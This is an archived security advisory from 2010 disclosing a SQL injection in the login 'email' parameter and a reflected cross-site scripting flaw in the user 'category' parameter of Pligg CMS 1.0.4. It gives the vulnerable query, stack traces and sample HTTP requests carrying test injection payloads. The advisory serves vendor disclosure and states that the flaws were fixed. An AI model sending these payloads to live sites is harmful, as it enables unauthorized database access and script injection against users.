we care because you do

Pligg 1.0.4 SQL Injection

Pligg 1.0.4 SQL Injection
Posted Sep 3, 2010
Authored by Bogdan Calin | Site acunetix.com

Pligg version 1.0.4 suffers from additional remote SQL injection vulnerabilities outside of the previously discovered findings.

tags | exploit, remote, vulnerability, sql injection
MD5 | 3162841c2d8bfcfec785cce729b0412b

Pligg 1.0.4 SQL Injection

Change Mirror Download
While beta testing the latest version of Acunetix WVS v7, we found a
large number of security vulnerabilities in various web applications. In
the following days we will publish some of these vulnerabilities. Note
that we will not publish vulnerabilities found in applications that are
not commonly used or in beta stage.

One of the tested web applications is Pligg:

Pligg is an open source CMS (Content Management System) that you can
download and use for free. Pligg CMS provides social publishing software
that encourages visitors to register on your website so that they can
submit content and connect with other users.

The following web vulnerabilities were found in Pligg CMS Version 1.0.4;

1. SQL injection in “/pliggcms_1_0_4/login.php“, parameter “email“.
2. Cross-site Scripting vulnerability in “/pliggcms_1_0_4/user.php“,
parameter “category“.

Technical details about each web vulnerability are below;

1. SQL injection in “/pliggcms_1_0_4/login.php“, parameter “email“.

Source file: /var/www/pliggcms_1_0_4/libs/db.php line: 222
Additional details:
SQL query:

SELECT * FROM `pligg_users` where `user_email` = '1ACUSTART'"*/rn
ACUEND' AND user_level!='Spammer'

Stack trace:
1. ezSQL_mysql::query([string] "SELECT * FROM `pligg_users` where
`user_email` = '1ACUSTART'"*/rn ACUEND' AND user_level!='Spammer'")
2. ezSQLcore::get_row([string] "SELECT * FROM `pligg_users` where
`user_email` = '1ACUSTART'"*/rn ACUEND' AND user_level!='Spammer'")

Same HTTP request:

POST /pliggcms_1_0_4/login.php HTTP/1.1
Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c
Acunetix-Aspect: enabled
Content-Length: 68
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=4c7d8e111f3ec5e90e664e26f365cc04; mnm_user=tmp;
mnm_key=dG1wOjIyZkpqa1BveUhCVFE6NWY1YTg5NTJkYzUzODI4NGYwOTA0Y2Q0NTUzNzk5NDE%3D;
template=wistie
Host: webapps7:80
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR
1.1.4322)

email=sql'injection&processlogin=3&return=%2fpliggcms_1_0_4%2f


2. Cross-site Scripting vulnerability in “/pliggcms_1_0_4/user.php”,
parameter “category”.

URL encoded GET input categorywas set to " onmouseover=prompt(938687) bad="

The input is reflected inside a tag element between double quotes.
The input is reflected inside a tag element between single quotes.

Sample HTTP request
POST
/pliggcms_1_0_4/user.php?category=%22%20onmouseover%3dprompt%28938687%29%20bad%3d%22&id=&keyword=Search..&login=&module=&page=&search=&view=search
HTTP/1.1
Content-Length: 9
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=4c7d8e111f3ec5e90e664e26f365cc04; mnm_user=tmp;
mnm_key=dG1wOjIyZkpqa1BveUhCVFE6NWY1YTg5NTJkYzUzODI4NGYwOTA0Y2Q0NTUzNzk5NDE%3D;
template=wistie
Host: webapps7:80
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR
1.1.4322)

username=

These vulnerabilities were reported to the Pligg team on 22/7/2010 via
the contact form from their website and they were fixed in latest
version of Pligg. If you are using Pligg, download the latest version
from their website.

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

May 2012

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    37 Files
  • 2
    May 2nd
    53 Files
  • 3
    May 3rd
    33 Files
  • 4
    May 4th
    4 Files
  • 5
    May 5th
    10 Files
  • 6
    May 6th
    17 Files
  • 7
    May 7th
    19 Files
  • 8
    May 8th
    36 Files
  • 9
    May 9th
    34 Files
  • 10
    May 10th
    35 Files
  • 11
    May 11th
    20 Files
  • 12
    May 12th
    18 Files
  • 13
    May 13th
    11 Files
  • 14
    May 14th
    27 Files
  • 15
    May 15th
    58 Files
  • 16
    May 16th
    54 Files
  • 17
    May 17th
    25 Files
  • 18
    May 18th
    53 Files
  • 19
    May 19th
    9 Files
  • 20
    May 20th
    15 Files
  • 21
    May 21st
    25 Files
  • 22
    May 22nd
    32 Files
  • 23
    May 23rd
    35 Files
  • 24
    May 24th
    26 Files
  • 25
    May 25th
    25 Files
  • 26
    May 26th
    11 Files
  • 27
    May 27th
    8 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2012 Packet Storm. All rights reserved.

close